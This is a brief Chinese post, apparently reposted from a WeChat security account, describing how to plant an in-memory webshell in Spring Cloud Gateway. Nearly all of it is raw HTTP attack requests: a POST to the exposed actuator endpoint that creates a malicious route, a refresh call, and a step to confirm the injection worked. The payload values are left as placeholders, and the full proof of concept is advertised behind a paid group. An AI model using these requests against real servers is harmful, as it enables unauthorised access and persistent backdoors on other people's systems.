spring-gateway打内存马

spring-gateway打内存马方法

POST /actuator/gateway/routes/new_route HTTP/1.1

Host: 127.0.0.1:9000

Connection: close

Content-Type: application/json

{

"predicates": [

{

"name": "Path",

"args": {

"_genkey_0": "/FDaLdhkySC/**"

}

}

],

"id": "PqqJQxWEhQ",

"filters": [{

"name": "AddRequestParameter",

"args": {

"name": "Result",

"value": "xxxx"

}

}],

"uri": "http://xxxx.com"

}

POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:9000 Content-Type: application/json Connection: close Content-Length: 258

访问gmen路径证明注入成功

加入知识星球获取poc

原文始发于微信公众号（多才多艺的老王）：spring-gateway打内存马